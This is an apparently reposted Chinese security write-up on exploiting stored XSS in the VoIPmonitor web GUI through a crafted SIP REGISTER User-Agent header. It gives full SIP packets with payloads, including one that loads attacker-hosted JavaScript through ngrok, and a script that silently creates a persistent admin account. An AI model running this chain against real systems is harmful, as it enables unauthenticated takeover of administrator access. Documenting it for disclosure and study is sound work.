概述
漏洞利用
REGISTER sip:159.65.31.70 SIP/2.0rn
Via: SIP/2.0/UDP 192.168.1.119:46896;rport;branch=z9hG4bK-Xrn
Max-Forwards: 70rn
From: <sip:[email protected]>;tag=ZB1fPjdIHA6RmaNwrn
To: <sip:[email protected]>rn
Call-ID: C15AfnWADaCSBH4Orn
CSeq: 1 REGISTERrn
Contact: <sip:[email protected]:48760;transport=udp>rn
User-Agent: <img src=x onerror=alert(1)>rn
Content-Type: text/plainrn
Content-Length: 0rnrn
请注意设置的User-Agent标头值。通过调整开源的sip攻击脚本,我们可以向测试环境发送几个恶意数据包,以查看有效载荷是否按预期执行。
通过VoIPmonitor GUI中的XSS调用JavaScript警报
等等!我们有自己的切入点,虽然并不多。但是,代码是在管理员的浏览器中执行,并能够在浏览器上保存一段时间,这意味着我们可以扩大此漏洞的影响。
作为起点,我们需要创建一个隐蔽的管理用户以实现持久化。创建用户时,VoIPmonitor GUI将发送下图所示的HTTP请求。
VoIPmonitor GUI在创建用户时发送的HTTP请求
如上图所示,带有JSON有效载荷的sql.php被调用。我们可以使用以下JavaScript 代码段重新创建此POST(HTTP)请求。
var username='h3x0r';
var password='h3x0r-l33t-passwd';
$.post('php/model/sql.php', {
task: 'CREATE',
module: 'user_admin',
taskParams: JSON.stringify({
"keyField": "id",
"data": {
"username": username,
"name": username,
"password": password,
"delete2fa_sec": 0,
"missing_sec": "not defined",
"req_2fa": false,
"email": "",
"is_admin": true,
}
}),
username: username ,
name: username ,
password: password ,
delete2fa_sec: '0' ,
email: '' ,
is_admin: 'on' ,
can_audit: '0' ,
note: '' ,
blocked_reason: '' ,
max_bad_login_attempt: '' ,
password_expiration_days: '' ,
enable_login_ip: '' ,
ip: '' ,
number: '' ,
domain: '' ,
vlan: ''}
);
我们可以将有效载荷保存在x.js文件中,并通过一个简单的HTTP服务器(python -m http.server 8080)在本地暴露它,然后利用ngrok(ngrok http 8080)将其暴露到互联网上。如此一来当管理员的浏览器运行以上JavaScript时,将会创建一个隐蔽的管理员用户。然后,我们需要调整SIP REGISTER请求中的User-Agent标头,以获取远程JavaScript文件并执行,而不是弹出警报。
REGISTER sip:159.65.31.70 SIP/2.0rn
Via: SIP/2.0/UDP 192.168.1.119:46896;rport;branch=z9hG4bK-Xrn
Max-Forwards: 70rn
From: <sip:[email protected]>;tag=ZB1fPjdIHA6RmaNwrn
To: <sip:[email protected]>rn
Call-ID: C15AfnWADaCSBH4Orn
CSeq: 1 REGISTERrn
Contact: <sip:[email protected]:48760;transport=udp>rn
User-Agent: <img src=x onerror="var d=document,s=d.createElement`script`;s.src='$MY_NGROK_URL/x.js',d.querySelector`p`.appendChild(s)">rn
Content-Type: text/plainrn
Content-Length: 0rnrn
现在执行时,浏览器将尝试获取/x下的图像,并在失败后创建一个<script>标记,指向我们要执行的恶意文件。我们将在浏览器中,依序看到以下三个请求:
-
请求/x,返回404错误;
-
这将触发onerror事件处理器创建一个<script>标签来获取我们的远程脚本(即 https://$some_ngrok_url/x.js);
-
最后向sql.php发送 POST请求,以创建h3x0r管理员用户。
在VoIPmonitor GUI利用存储型XSS漏洞中加载恶意JavaScript
现在可以在用户选项卡下,看到我们创建的恶意管理员!
至此,我们便成功通过一个未经身份验证的SIP消息,将临时权限提升为永久管理员访问权限。
END
本文始发于微信公众号(SecTr安全团队):利用SIP协议实施XSS跨站脚本攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论